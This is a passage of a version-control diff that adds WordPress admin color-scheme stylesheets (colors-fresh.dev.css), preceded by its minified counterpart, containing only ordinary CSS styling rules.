a{color:#fff;}#user_info{color:#999;}#user_info a:link,#user_info a:visited,#footer a:link,#footer a:visited{color:#ccc;text-decoration:none;}#user_info a:hover,#footer a:hover{color:#fff;text-decoration:underline!important;}#user_info a:active,#footer a:active{color:#ccc!important;}div#media-upload-error,.file-error,abbr.required,.widget-control-remove:hover,table.widefat .delete a:hover,table.widefat .trash a:hover,table.widefat .spam a:hover,#dashboard_recent_comments .delete a:hover,#dashboard_recent_comments .trash a:hover #dashboard_recent_comments .spam a:hover{color:#f00;}#pass-strength-result{background-color:#eee;border-color:#ddd!important;}#pass-strength-result.bad{background-color:#ffb78c;border-color:#ff853c!important;}#pass-strength-result.good{background-color:#ffec8b;border-color:#fc0!important;}#pass-strength-result.short{background-color:#ffa0a0;border-color:#f04040!important;}#pass-strength-result.strong{background-color:#c3ff88;border-color:#8dff1c!important;}#quicktags{border-color:#dfdfdf;background-color:#dfdfdf;}#ed_toolbar input{border-color:#C3C3C3;}#ed_toolbar input:hover{border-color:#aaa;background:#ddd;}#poststuff .wp_themeSkin .mceStatusbar{border-color:#EDEDED;}#poststuff #edButtonPreview,#poststuff #edButtonHTML{background-color:#f1f1f1;border-color:#dfdfdf;color:#999;}#poststuff #editor-toolbar .active{border-bottom-color:#e9e9e9;background-color:#e9e9e9;color:#333;}#post-status-info{background-color:#EDEDED;}.wp_themeSkin *,.wp_themeSkin a:hover,.wp_themeSkin a:link,.wp_themeSkin a:visited,.wp_themeSkin a:active{color:#000;}.wp_themeSkin iframe{background:#fff;}.wp_themeSkin .mceStatusbar{color:#000;background-color:#f5f5f5;}.wp_themeSkin .mceButton{background-color:#e9e8e8;border-color:#B2B2B2;}.wp_themeSkin a.mceButtonEnabled:hover,.wp_themeSkin a.mceButtonActive,.wp_themeSkin a.mceButtonSelected{background-color:#d5d5d5;border-color:#777!important;}.wp_themeSkin .mceButtonDisabled{border-color:#ccc!important;}.wp_themeSkin .mceListBox .mceText,.wp_themeSkin .mceListBox .mceOpen{border-color:#B2B2B2;background-color:#d5d5d5;}.wp_themeSkin table.mceListBoxEnabled:hover .mceOpen,.wp_themeSkin .mceListBoxHover .mceOpen,.wp_themeSkin .mceListBoxSelected .mceOpen,.wp_themeSkin .mceListBoxSelected .mceText{border-color:#777!important;background-color:#d5d5d5;}.wp_themeSkin table.mceListBoxEnabled:hover .mceText,.wp_themeSkin .mceListBoxHover .mceText{border-color:#777!important;}.wp_themeSkin select.mceListBox{border-color:#B2B2B2;background-color:#fff;}.wp_themeSkin .mceSplitButton a.mceAction,.wp_themeSkin .mceSplitButton a.mceOpen{border-color:#B2B2B2;}.wp_themeSkin .mceSplitButton a.mceOpen:hover,.wp_themeSkin .mceSplitButtonSelected a.mceOpen,.wp_themeSkin table.mceSplitButtonEnabled:hover a.mceAction,.wp_themeSkin .mceSplitButton a.mceAction:hover{background-color:#d5d5d5;border-color:#777!important;}.wp_themeSkin .mceSplitButtonActive{background-color:#B2B2B2;}.wp_themeSkin div.mceColorSplitMenu table{background-color:#ebebeb;border-color:#B2B2B2;}.wp_themeSkin .mceColorSplitMenu a{border-color:#B2B2B2;}.wp_themeSkin .mceColorSplitMenu a.mceMoreColors{border-color:#fff;}.wp_themeSkin .mceColorSplitMenu a.mceMoreColors:hover{border-color:#0A246A;background-color:#B6BDD2;}.wp_themeSkin a.mceMoreColors:hover{border-color:#0A246A;}.wp_themeSkin .mceMenu{border-color:#ddd;}.wp_themeSkin .mceMenu table{background-color:#ebeaeb;}.wp_themeSkin .mceMenu .mceText{color:#000;}.wp_themeSkin .mceMenu .mceMenuItemEnabled a:hover,.wp_themeSkin .mceMenu .mceMenuItemActive{background-color:#f5f5f5;}.wp_themeSkin td.mceMenuItemSeparator{background-color:#aaa;}.wp_themeSkin .mceMenuItemTitle a{background-color:#ccc;border-bottom-color:#aaa;}.wp_themeSkin .mceMenuItemTitle span.mceText{color:#000;}.wp_themeSkin .mceMenuItemDisabled .mceText{color:#888;}.wp_themeSkin tr.mceFirst td.mceToolbar{background:#dfdfdf url("../images/ed-bg.gif") repeat-x scroll left top;border-color:#dfdfdf;}.wp-admin #mceModalBlocker{background:#000;}.wp-admin .clearlooks2 .mceFocus .mceTop .mceLeft{background:#444;border-left:1px solid #999;border-top:1px solid #999;-moz-border-radius:4px 0 0 0;-webkit-border-top-left-radius:4px;-khtml-border-top-left-radius:4px;border-top-left-radius:4px;}.wp-admin .clearlooks2 .mceFocus .mceTop .mceRight{background:#444;border-right:1px solid #999;border-top:1px solid #999;border-top-right-radius:4px;-khtml-border-top-right-radius:4px;-webkit-border-top-right-radius:4px;-moz-border-radius:0 4px 0 0;}.wp-admin .clearlooks2 .mceMiddle .mceLeft{background:#f1f1f1;border-left:1px solid #999;}.wp-admin .clearlooks2 .mceMiddle .mceRight{background:#f1f1f1;border-right:1px solid #999;}.wp-admin .clearlooks2 .mceBottom{background:#f1f1f1;border-bottom:1px solid #999;}.wp-admin .clearlooks2 .mceBottom .mceLeft{background:#f1f1f1;border-bottom:1px solid #999;border-left:1px solid #999;}.wp-admin .clearlooks2 .mceBottom .mceCenter{background:#f1f1f1;border-bottom:1px solid #999;}.wp-admin .clearlooks2 .mceBottom .mceRight{background:#f1f1f1;border-bottom:1px solid #999;border-right:1px solid #999;}.wp-admin .clearlooks2 .mceFocus .mceTop span{color:#e5e5e5;}#editorcontainer,#post-status-info,#titlediv #title,.editwidget .widget-inside{border-color:#dfdfdf;}#titlediv #title{background-color:#fff;}#tTips p#tTips_inside{background-color:#ddd;color:#333;}#timestampdiv input,#namediv input,#poststuff .inside .the-tagcloud{border-color:#ddd;}#adminmenu *{border-color:#e3e3e3;}#adminmenu li.wp-menu-separator{background:transparent url(../images/menu-arrows.gif) no-repeat scroll left 5px;}.folded #adminmenu li.wp-menu-separator{background:transparent url(../images/menu-arrows.gif) no-repeat scroll right -34px;}#adminmenu li.wp-has-current-submenu.wp-menu-open .wp-menu-toggle,#adminmenu li.wp-has-current-submenu:hover .wp-menu-toggle{background:transparent url(../images/menu-bits.gif) no-repeat scroll left -207px;}#adminmenu .wp-has-submenu:hover .wp-menu-toggle,#adminmenu .wp-menu-open .wp-menu-toggle{background:transparent url(../images/menu-bits.gif) no-repeat scroll left -109px;}#adminmenu a.menu-top{background:#f1f1f1 url(../images/menu-bits.gif) repeat-x scroll left -379px;}#adminmenu .wp-submenu a{background:#FFF url(../images/menu-bits.gif) no-repeat scroll 0 -310px;}#adminmenu .wp-has-current-submenu ul li a{background:none;}#adminmenu .wp-has-current-submenu ul li a.current{background:url(../images/menu-dark.gif) top left no-repeat!important;}#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,#adminmenu .menu-top .current{background:#6d6d6d url(../images/menu-bits.gif) top left repeat-x;border-color:#6d6d6d;color:#fff;text-shadow:rgba(0,0,0,0.4) 0 -1px 0;}#adminmenu li.wp-has-current-submenu .wp-submenu,#adminmenu li.wp-has-current-submenu ul li a{border-color:#aaa!important;}#adminmenu li.wp-has-current-submenu ul li a{background:url(../images/menu-dark.gif) bottom left no-repeat!important;}#adminmenu li.wp-has-current-submenu ul{border-bottom-color:#aaa;}#adminmenu li.menu-top .current:hover{border-color:#B5B5B5;}#adminmenu .wp-submenu .current a.current{background:transparent url(../images/menu-bits.gif) no-repeat scroll 0 -289px;}#adminmenu .wp-submenu a:hover{background-color:#EAF2FA!important;color:#333!important;}#adminmenu .wp-submenu li.current,#adminmenu .wp-submenu li.current a,#adminmenu .wp-submenu li.current a:hover{color:#333;background-color:#f5f5f5;background-image:none;border-color:#e3e3e3;text-shadow:rgba(255,255,255,1) 0 1px 0;}#adminmenu .wp-submenu ul{background-color:#fff;}.folded #adminmenu li.menu-top,#adminmenu .wp-submenu .wp-submenu-head{background-color:#F1F1F1;}.folded #adminmenu li.wp-has-current-submenu,.folded #adminmenu li.menu-top.current{background-color:#e6e6e6;}#adminmenu .wp-has-current-submenu .wp-submenu .wp-submenu-head{background-color:#EAEAEA;border-color:#aaa;}#adminmenu div.wp-submenu{background-color:transparent;}#adminmenu #menu-dashboard div.wp-menu-image{background:transparent url("../images/menu.png") no-repeat scroll -61px -33px;}#adminmenu #menu-dashboard:hover div.wp-menu-image,#adminmenu #menu-dashboard.wp-has-current-submenu div.wp-menu-image,#adminmenu #menu-dashboard.current div.wp-menu-image{background:transparent url("../images/menu.png") no-repeat scroll -61px -1px;}#adminmenu #menu-posts div.wp-menu-image{background:transparent url("../images/menu.png") no-repeat scroll -272px -33px;}#adminmenu #menu-posts:hover div.wp-menu-image,#adminmenu #menu-posts.wp-has-current-submenu div.wp-menu-image{background:transparent url("../images/menu.png") no-repeat scroll -272px -1px;}#adminmenu #menu-media div.wp-menu-image{background:transparent url("../images/menu.png") no-repeat scroll -121px -33px;}#adminmenu #menu-media:hover div.wp-menu-image,#adminmenu #menu-media.wp-has-current-submenu div.wp-menu-image{background:transparent url("../images/menu.png") no-repeat scroll -121px -1px;}#adminmenu #menu-links div.wp-menu-image{background:transparent url("../images/menu.png") no-repeat scroll -91px -33px;}#adminmenu #menu-links:hover div.wp-menu-image,#adminmenu #menu-links.wp-has-current-submenu div.wp-menu-image{background:transparent url("../images/menu.png") no-repeat scroll -91px -1px;}#adminmenu #menu-pages div.wp-menu-image{background:transparent url("../images/menu.png") no-repeat scroll -151px -33px;}#adminmenu #menu-pages:hover div.wp-menu-image,#adminmenu #menu-pages.wp-has-current-submenu div.wp-menu-image{background:transparent url("../images/menu.png") no-repeat scroll -151px -1px;}#adminmenu #menu-comments div.wp-menu-image{background:transparent url("../images/menu.png") no-repeat scroll -31px -33px;}#adminmenu #menu-comments:hover div.wp-menu-image,#adminmenu #menu-comments.wp-has-current-submenu div.wp-menu-image,#adminmenu #menu-comments.current div.wp-menu-image{background:transparent url("../images/menu.png") no-repeat scroll -31px -1px;}#adminmenu #menu-appearance div.wp-menu-image{background:transparent url("../images/menu.png") no-repeat scroll -1px -33px;}#adminmenu #menu-appearance:hover div.wp-menu-image,#adminmenu #menu-appearance.wp-has-current-submenu div.wp-menu-image{background:transparent url("../images/menu.png") no-repeat scroll -1px -1px;}#adminmenu #menu-plugins div.wp-menu-image{background:transparent url("../images/menu.png") no-repeat scroll -181px -33px;}#adminmenu #menu-plugins:hover div.wp-menu-image,#adminmenu #menu-plugins.wp-has-current-submenu div.wp-menu-image{background:transparent url("../images/menu.png") no-repeat scroll -181px -1px;}#adminmenu #menu-users div.wp-menu-image{background:transparent url("../images/menu.png") no-repeat scroll -301px -33px;}#adminmenu #menu-users:hover div.wp-menu-image,#adminmenu #menu-users.wp-has-current-submenu div.wp-menu-image{background:transparent url("../images/menu.png") no-repeat scroll -301px -1px;}#adminmenu #menu-tools div.wp-menu-image{background:transparent url("../images/menu.png") no-repeat scroll -211px -33px;}#adminmenu #menu-tools:hover div.wp-menu-image,#adminmenu #menu-tools.wp-has-current-submenu div.wp-menu-image{background:transparent url("../images/menu.png") no-repeat scroll -211px -1px;}#adminmenu #menu-settings div.wp-menu-image{background:transparent url("../images/menu.png") no-repeat scroll -241px -33px;}#adminmenu #menu-settings:hover div.wp-menu-image,#adminmenu #menu-settings.wp-has-current-submenu div.wp-menu-image{background:transparent url("../images/menu.png") no-repeat scroll -241px -1px;}table.diff .diff-deletedline{background-color:#fdd;}table.diff .diff-deletedline del{background-color:#f99;}table.diff .diff-addedline{background-color:#dfd;}table.diff .diff-addedline ins{background-color:#9f9;}#att-info{background-color:#E4F2FD;}#sidemenu a{background-color:#f9f9f9;border-color:#f9f9f9;border-bottom-color:#dfdfdf;}#sidemenu a.current{background-color:#fff;border-color:#dfdfdf #dfdfdf #fff;color:#D54E21;}#screen-options-wrap,#contextual-help-wrap{background-color:#f1f1f1;border-color:#dfdfdf;}#screen-meta-links a.show-settings{color:#606060;}#screen-meta-links a.show-settings:hover{color:#000;}#replysubmit{background-color:#f1f1f1;border-top-color:#ddd;}#replyerror{border-color:#ddd;background-color:#f9f9f9;}#edithead,#replyhead{background-color:#f1f1f1;}#ed_reply_toolbar{background-color:#e9e9e9;}.vim-current,.vim-current th,.vim-current td{background-color:#E4F2FD!important;}.star-average,.star.star-rating{background-color:#fc0;}div.star.select:hover{background-color:#d00;}#plugin-information .fyi ul{background-color:#eaf3fa;}#plugin-information .fyi h2.mainheader{background-color:#cee1ef;}#plugin-information pre,#plugin-information code{background-color:#ededff;}#plugin-information pre{border:1px solid #ccc;}.inline-edit-row fieldset input[type="text"],.inline-edit-row fieldset textarea,#bulk-titles,#replyrow input{border-color:#ddd;}.inline-editor div.title{background-color:#EAF3FA;}.inline-editor ul.cat-checklist{background-color:#FFF;border-color:#ddd;}.inline-editor .categories .catshow,.inline-editor .categories .cathide{color:#21759b;}.inline-editor .quick-edit-save{background-color:#f1f1f1;}#replyrow #ed_reply_toolbar input:hover{border-color:#aaa;background:#ddd;}fieldset.inline-edit-col-right .inline-edit-col{border-color:#dfdfdf;}.attention{color:#D54E21;}.meta-box-sortables .postbox:hover .handlediv{background:transparent url(../images/menu-bits.gif) no-repeat scroll left -111px;}#major-publishing-actions{background:#eaf2fa;}.tablenav .tablenav-pages{color:#555;}.tablenav .tablenav-pages a{border-color:#e3e3e3;background:#eee url('../images/menu-bits.gif') repeat-x scroll left -379px;}.tablenav .tablenav-pages a:hover{color:#d54e21;border-color:#d54321;}.tablenav .tablenav-pages a:active{color:#fff!important;}.tablenav .tablenav-pages .current{background:#dfdfdf;border-color:#d3d3d3;}#availablethemes,#availablethemes td{border-color:#ddd;}#current-theme img{border-color:#999;}#TB_window #TB_title a.tb-theme-preview-link,#TB_window #TB_title a.tb-theme-preview-link:visited{color:#999;}#TB_window #TB_title a.tb-theme-preview-link:hover,#TB_window #TB_title a.tb-theme-preview-link:focus{color:#ccc;}.misc-pub-section{border-bottom-color:#eee;}#minor-publishing{border-bottom-color:#ddd;}#post-body .misc-pub-section{border-right-color:#eee;}.post-com-count span{background-color:#bbb;}.form-table .color-palette td{border-color:#fff;}.sortable-placeholder{border-color:#bbb;background-color:#f5f5f5;}#post-body ul#category-tabs li.tabs a{color:#333;}#wp_editimgbtn,#wp_delimgbtn,#wp_editgallery,#wp_delgallery{border-color:#999;background-color:#eee;}#wp_editimgbtn:hover,#wp_delimgbtn:hover,#wp_editgallery:hover,#wp_delgallery:hover{border-color:#555;background-color:#ccc;}#favorite-first{background:#797979 url(../images/fav.png) repeat-x left center;border-color:#777!important;border-bottom-color:#666!important;}#favorite-inside{border-color:#797979;background-color:#797979;}#favorite-toggle{background:transparent url(../images/fav-arrow.gif) no-repeat 0 -4px;}#favorite-actions a{color:#ddd;}#favorite-actions a:hover{color:#fff;}#favorite-inside a:hover{text-decoration:underline;}#favorite-actions .slide-down{border-bottom-color:#626262;}#screen-meta a.show-settings{background-color:transparent;text-shadow:rgba(255,255,255,0.7) 0 1px 0;}#icon-edit,#icon-post{background:transparent url(../images/icons32.png) no-repeat -552px -5px;}#icon-index{background:transparent url(../images/icons32.png) no-repeat -137px -5px;}#icon-upload{background:transparent url(../images/icons32.png) no-repeat -251px -5px;}#icon-link-manager,#icon-link,#icon-link-category{background:transparent url(../images/icons32.png) no-repeat -190px -5px;}#icon-edit-pages,#icon-page{background:transparent url(../images/icons32.png) no-repeat -312px -5px;}#icon-edit-comments{background:transparent url(../images/icons32.png) no-repeat -72px -5px;}#icon-themes{background:transparent url(../images/icons32.png) no-repeat -11px -5px;}#icon-plugins{background:transparent url(../images/icons32.png) no-repeat -370px -5px;}#icon-users,#icon-profile,#icon-user-edit{background:transparent url(../images/icons32.png) no-repeat -600px -5px;}#icon-tools,#icon-admin{background:transparent url(../images/icons32.png) no-repeat -432px -5px;}#icon-options-general{background:transparent url(../images/icons32.png) no-repeat -492px -5px;}.view-switch #view-switch-list{background:transparent url(../images/list.png) no-repeat 0 0;}.view-switch #view-switch-list.current{background:transparent url(../images/list.png) no-repeat -40px 0;}.view-switch #view-switch-excerpt{background:transparent url(../images/list.png) no-repeat -20px 0;}.view-switch #view-switch-excerpt.current{background:transparent url(../images/list.png) no-repeat -60px 0;}#header-logo{background:transparent url(../images/wp-logo.gif) no-repeat scroll center center;}#wphead #site-visit-button{background-color:#585858;background-image:url(../images/visit-site-button-grad.gif);color:#aaa;text-shadow:#3F3F3F 0 -1px 0;}#wphead a:hover #site-visit-button{color:#fff;}#wphead a:focus #site-visit-button,#wphead a:active #site-visit-button{background-position:0 -27px;}.popular-tags,.feature-filter{background-color:#FFF;border-color:#DFDFDF;}#theme-information .action-button{border-top-color:#DFDFDF;}.theme-listing br.line{border-bottom-color:#ccc;}div.widgets-sortables,#widgets-left .inactive{background-color:#f1f1f1;border-color:#ddd;}#available-widgets .widget-holder{background-color:#fff;border-color:#ddd;}#widgets-left .sidebar-name{background-color:#aaa;background-image:url(../images/ed-bg.gif);text-shadow:#FFF 0 1px 0;border-color:#dfdfdf;}#widgets-right .sidebar-name{background-image:url(../images/fav.png);text-shadow:#3f3f3f 0 -1px 0;background-color:#636363;border-color:#636363;color:#fff;}.sidebar-name:hover,#removing-widget{color:#d54e21;}#removing-widget span{color:black;}#widgets-left .sidebar-name-arrow{background:transparent url(../images/menu-bits.gif) no-repeat scroll left -109px;}#widgets-right .sidebar-name-arrow{background:transparent url(../images/fav-arrow.gif) no-repeat scroll 0 -1px;}.in-widget-title{color:#606060;}.deleting .widget-title *{color:#aaa;}.imgedit-menu div{border-color:#d5d5d5;background-color:#f1f1f1;}.imgedit-menu div:hover{border-color:#c1c1c1;background-color:#eaeaea;}.imgedit-menu div.disabled{border-color:#ccc;background-color:#ddd;filter:alpha(opacity=50);opacity:.5;}#dashboard_recent_comments div.undo{border-top-color:#dfdfdf;}.comment-ays,.comment-ays th{border-color:#ddd;}.comment-ays th{background-color:#f1f1f1;} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/colors-fresh.dev.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/colors-fresh.dev.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1697 @@ +html { + background-color: #f9f9f9; +} + +* html input, +* html .widget { + border-color: #dfdfdf; +} + +textarea, +input[type="text"], +input[type="password"], +input[type="file"], +input[type="button"], +input[type="submit"], +input[type="reset"], +select { + border-color: #dfdfdf; + background-color: #fff; +} + +kbd, +code { + background: #eaeaea; +} + +input[readonly] { + background-color: #eee; +} + +.find-box-search { + border-color: #dfdfdf; + background-color: #f1f1f1; +} + +.find-box { + background-color: #f1f1f1; +} + +.find-box-inside { + background-color: #fff; +} + +a.page-numbers:hover { + border-color: #999; +} + +body, +#wpbody, +.form-table .pre { + color: #333; +} + +body > #upload-menu { + border-bottom-color: #fff; +} + +#postcustomstuff table, +#your-profile fieldset, +#rightnow, +div.dashboard-widget, +#dashboard-widgets p.dashboard-widget-links, +#replyrow #ed_reply_toolbar input { + border-color: #ccc; +} + +#poststuff .inside label.spam, +#poststuff .inside label.deleted { + color: red; +} + +#poststuff .inside label.waiting { + color: orange; +} + +#poststuff .inside label.approved { + color: green; +} + +#postcustomstuff table { + border-color: #dfdfdf; + background-color: #F9F9F9; +} + +#postcustomstuff thead th { + background-color: #F1F1F1; +} + +#postcustomstuff table input, +#postcustomstuff table textarea { + border-color: #dfdfdf; + background-color: #fff; +} + +.widefat { + border-color: #dfdfdf; + background-color: #fff; +} + +div.dashboard-widget-error { + background-color: #c43; +} + +div.dashboard-widget-notice { + background-color: #cfe1ef; +} + +div.dashboard-widget-submit { + border-top-color: #ccc; +} + +div.tabs-panel, +ul#category-tabs li.tabs { + border-color: #dfdfdf; +} + +ul#category-tabs li.tabs { + background-color: #f1f1f1; +} + +input.disabled, +textarea.disabled { + background-color: #ccc; +} +/* #upload-menu li a.upload-tab-link, */ +.login #backtoblog a:hover, +#plugin-information .action-button a, +#plugin-information .action-button a:hover, +#plugin-information .action-button a:visited { + color: #fff; +} + +.widget .widget-top, +.postbox h3, +.stuffbox h3 { + background: #dfdfdf url("../images/gray-grad.png") repeat-x left top; + text-shadow: #fff 0 1px 0; +} + +.form-table th, +.form-wrap label { + color: #222; + text-shadow: #fff 0 1px 0; +} + +.description, +.form-wrap p { + color: #666; +} + +strong .post-com-count span { + background-color: #21759b; +} + +.sorthelper { + background-color: #ccf3fa; +} + +.ac_match, +.subsubsub a.current { + color: #000; +} + +.wrap h2 { + color: #464646; +} + +.ac_over { + background-color: #f0f0b8; +} + +.ac_results { + background-color: #fff; + border-color: #808080; +} + +.ac_results li { + color: #101010; +} + +.alternate, +.alt { + background-color: #f9f9f9; +} + +.available-theme a.screenshot { + background-color: #f1f1f1; + border-color: #ddd; +} + +.bar { + background-color: #e8e8e8; + border-right-color: #99d; +} + +#media-upload, +#media-upload .media-item .slidetoggle { + background: #fff; +} + +#media-upload .slidetoggle { + border-top-color: #dfdfdf; +} + +.error, +.login #login_error { + background-color: #ffebe8; + border-color: #c00; +} + +.error a { + color: #c00; +} + +.form-invalid { + background-color: #ffebe8 !important; +} + +.form-invalid input, +.form-invalid select { + border-color: #c00 !important; +} + +.submit { + border-color: #DFDFDF; +} + +.highlight { + background-color: #e4f2fd; + color: #d54e21; +} + +.howto, +.nonessential, +#edit-slug-box, +.form-input-tip, +.rss-widget span.rss-date, +.subsubsub { + color: #666; +} + +.media-item { + border-bottom-color: #dfdfdf; +} + +#wpbody-content #media-items .describe { + border-top-color: #dfdfdf; +} + +.media-upload-form label.form-help, +td.help { + color: #9a9a9a; +} + +.post-com-count { + background-image: url(../images/bubble_bg.gif); + color: #fff; +} + +.post-com-count span { + background-color: #bbb; + color: #fff; +} + +.post-com-count:hover span { + background-color: #d54e21; +} + +.quicktags, .search { + background-color: #ccc; + color: #000; +} + +.side-info h5 { + border-bottom-color: #dadada; +} + +.side-info ul { + color: #666; +} + +.button, +.button-secondary, +.submit input, +input[type=button], +input[type=submit] { + border-color: #bbb; + color: #464646; +} + +.button:hover, +.button-secondary:hover, +.submit input:hover, +input[type=button]:hover, +input[type=submit]:hover { + color: #000; + border-color: #666; +} + +.button, +.submit input, +.button-secondary { + background: #f2f2f2 url(../images/white-grad.png) repeat-x scroll left top; + text-shadow: rgba(255,255,255,1) 0 1px 0; +} + +.button:active, +.submit input:active, +.button-secondary:active { + background: #eee url(../images/white-grad-active.png) repeat-x scroll left top; +} + +input.button-primary, +button.button-primary, +a.button-primary { + border-color: #298cba; + font-weight: bold; + color: #fff; + background: #21759B url(../images/button-grad.png) repeat-x scroll left top; + text-shadow: rgba(0,0,0,0.3) 0 -1px 0; +} + +input.button-primary:active, +button.button-primary:active, +a.button-primary:active { + background: #21759b url(../images/button-grad-active.png) repeat-x scroll left top; + color: #eaf2fa; +} + +input.button-primary:hover, +button.button-primary:hover, +a.button-primary:hover, +a.button-primary:focus, +a.button-primary:active { + border-color: #13455b; + color: #eaf2fa; +} + +.button-disabled, +.button[disabled], +.button:disabled, +.button-secondary[disabled], +.button-secondary:disabled, +a.button.disabled { + color: #aaa !important; + border-color: #ddd !important; +} + +.button-primary-disabled, +.button-primary[disabled], +.button-primary:disabled { + color: #9FD0D5 !important; + background: #298CBA !important; +} + +a:hover, +a:active, +a:focus { + color: #d54e21; +} + +#wphead #viewsite a:hover, +#adminmenu a:hover, +#adminmenu ul.wp-submenu a:hover, +#the-comment-list .comment a:hover, +#rightnow a:hover, +#media-upload a.del-link:hover, +div.dashboard-widget-submit input:hover, +.subsubsub a:hover, +.subsubsub a.current:hover, +.ui-tabs-nav a:hover, +.plugins .inactive a:hover, +#all-plugins-table .plugins .inactive a:hover, +#search-plugins-table .plugins .inactive a:hover { + color: #d54e21; +} + +#the-comment-list .comment-item, +#dashboard-widgets #dashboard_quick_press form p.submit { + border-color: #dfdfdf; +} + +#side-sortables #category-tabs .tabs a { + color: #333; +} + +#rightnow .rbutton { + background-color: #ebebeb; + color: #264761; +} + +.submitbox .submit { + background-color: #464646; + color: #ccc; +} + +.plugins a.delete:hover, +#all-plugins-table .plugins a.delete:hover, +#search-plugins-table .plugins a.delete:hover, +.submitbox .submitdelete { + color: #f00; + border-bottom-color: #f00; +} + +.submitbox .submitdelete:hover, +#media-items a.delete:hover { + color: #fff; + background-color: #f00; + border-bottom-color: #f00; +} + +#normal-sortables .submitbox .submitdelete:hover { + color: #000; + background-color: #f00; + border-bottom-color: #f00; +} + +.tablenav .dots { + border-color: transparent; +} + +.tablenav .next, +.tablenav .prev { + border-color: transparent; + color: #21759b; +} + +.tablenav .next:hover, +.tablenav .prev:hover { + border-color: transparent; + color: #d54e21; +} + +.updated, +.login .message { + background-color: #ffffe0; + border-color: #e6db55; +} + +.update-message { + color: #000000; +} + +a.page-numbers { + border-bottom-color: #B8D3E2; +} + +.commentlist li { + border-bottom-color: #ccc; +} + +.widefat td, +.widefat th, +#install-plugins .plugins td, +#install-plugins .plugins th { + border-color: #dfdfdf; +} + +.widefat th { + text-shadow: rgba(255,255,255,0.8) 0 1px 0; +} + +.widefat thead tr th, +.widefat tfoot tr th, +h3.dashboard-widget-title, +h3.dashboard-widget-title span, +h3.dashboard-widget-title small, +.find-box-head { + color: #333; + background: #dfdfdf url(../images/gray-grad.png) repeat-x scroll left top; +} + +h3.dashboard-widget-title small a { + color: #d7d7d7; +} + +h3.dashboard-widget-title small a:hover { + color: #fff; +} + +a, +#adminmenu a, +#poststuff #edButtonPreview, +#poststuff #edButtonHTML, +#the-comment-list p.comment-author strong a, +#media-upload a.del-link, +#media-items a.delete, +.plugins a.delete, +.ui-tabs-nav a { + color: #21759b; +} + +/* Because we don't want visited on these links */ +body.press-this .tabs a, +body.press-this .tabs a:hover { + background-color: #fff; + border-color: #c6d9e9; + border-bottom-color: #fff; + color: #d54e21; +} + +#adminmenu #awaiting-mod, +#adminmenu .update-plugins, +#sidemenu a .update-plugins, +#rightnow .reallynow, +#plugin-information .action-button { + background-color: #d54e21; + color: #fff; +} + +#adminmenu li a:hover #awaiting-mod, +#adminmenu li a:hover .update-plugins, +#sidemenu li a:hover .update-plugins { + background-color: #264761; + color: #fff; +} + +#adminmenu li.current a #awaiting-mod, +#adminmenu li.current a .update-plugins, +#adminmenu li.wp-has-current-submenu a .update-plugins, +#adminmenu li.wp-has-current-submenu a .update-plugins { + background-color: #ddd; + color: #000; + text-shadow: none; + -moz-box-shadow: rgba(0,0,0,0.2) 0 -1px 0; + -khtml-box-shadow: rgba(0,0,0,0.2) 0 -1px 0; + -webkit-box-shadow: rgba(0,0,0,0.2) 0 -1px 0; + box-shadow: rgba(0,0,0,0.2) 0 -1px 0; +} + +#adminmenu li.current a:hover #awaiting-mod, +#adminmenu li.current a:hover .update-plugins, +#adminmenu li.wp-has-current-submenu a:hover #awaiting-mod, +#adminmenu li.wp-has-current-submenu a:hover .update-plugins { + background-color: #264761; + color: #fff; +} + +div#media-upload-header, +div#plugin-information-header { + background-color: #f9f9f9; + border-bottom-color: #dfdfdf; +} + +#currenttheme img { + border-color: #666; +} + +#dashboard_secondary div.dashboard-widget-content ul li a { + background-color: #f9f9f9; +} + +input.readonly, textarea.readonly { + background-color: #ddd; +} + +#ed_toolbar input, +#ed_reply_toolbar input { + background: #fff url("../images/fade-butt.png") repeat-x 0 -2px; +} + +#editable-post-name { + background-color: #fffbcc; +} + +#edit-slug-box strong, +.tablenav .displaying-num, +#submitted-on { + color: #777; +} + +.login #nav a { + color: #21759b !important; +} + +.login #nav a:hover { + color: #d54e21 !important; +} + +#footer, +#footer-upgrade { + background: #464646; + color: #999; +} + +#media-items, +.imgedit-group { + border-color: #dfdfdf; +} + +.checkbox, +.side-info, +.plugins tr, +#your-profile #rich_editing { + background-color: #fff; +} + +.plugins .inactive, +.plugins .inactive th, +.plugins .inactive td, +tr.inactive + tr.plugin-update-tr .plugin-update { + background-color: #eee; +} + +.plugin-update-tr .update-message { + background-color: #fffbe4; + border-color: #dfdfdf; +} + +.plugins .active, +.plugins .active th, +.plugins .active td { + color: #000; +} + +.plugins .inactive a { + color: #557799; +} + +#the-comment-list tr.undo, +#the-comment-list div.undo { + background-color: #f4f4f4; +} + +#the-comment-list .unapproved { + background-color: #ffffe0; +} + +#the-comment-list .approve a { + color: #006505; +} + +#the-comment-list .unapprove a { + color: #d98500; +} + +table.widefat span.delete a, +table.widefat span.trash a, +table.widefat span.spam a, +#dashboard_recent_comments .delete a, +#dashboard_recent_comments .trash a, +#dashboard_recent_comments .spam a { + color: #bc0b0b; +} + +.widget, +#widget-list .widget-top, +.postbox, +#titlediv, +#poststuff .postarea, +.stuffbox { + border-color: #dfdfdf; +} + +.widget, +.postbox { + background-color: #fff; +} + +.ui-sortable .postbox h3 { + color: #464646; +} + +.widget .widget-top, +.ui-sortable .postbox h3:hover { + color: #000; +} + +.curtime #timestamp { + background-image: url(../images/date-button.gif); +} + +#quicktags #ed_link { + color: #00f; +} + +#rightnow .youhave { + background-color: #f0f6fb; +} + +#rightnow a { + color: #448abd; +} + +.tagchecklist span a, +#bulk-titles div a { + background: url(../images/xit.gif) no-repeat; +} + +.tagchecklist span a:hover, +#bulk-titles div a:hover { + background: url(../images/xit.gif) no-repeat -10px 0; +} + +#update-nag { + background-color: #fffeeb; + border-color: #ccc; + color: #555; +} + +.login #backtoblog a { + color: #ccc; +} + +#wphead { + background-color: #464646; +} + +body.login { + border-top-color: #464646; +} + +#wphead h1 a { + color: #fff; +} + +#user_info { + color: #999; +} + +#user_info a:link, +#user_info a:visited, +#footer a:link, +#footer a:visited { + color: #ccc; + text-decoration: none; +} + +#user_info a:hover, +#footer a:hover { + color: #fff; + text-decoration: underline !important; +} + +#user_info a:active, +#footer a:active { + color: #ccc !important; +} + +div#media-upload-error, +.file-error, +abbr.required, +.widget-control-remove:hover, +table.widefat .delete a:hover, +table.widefat .trash a:hover, 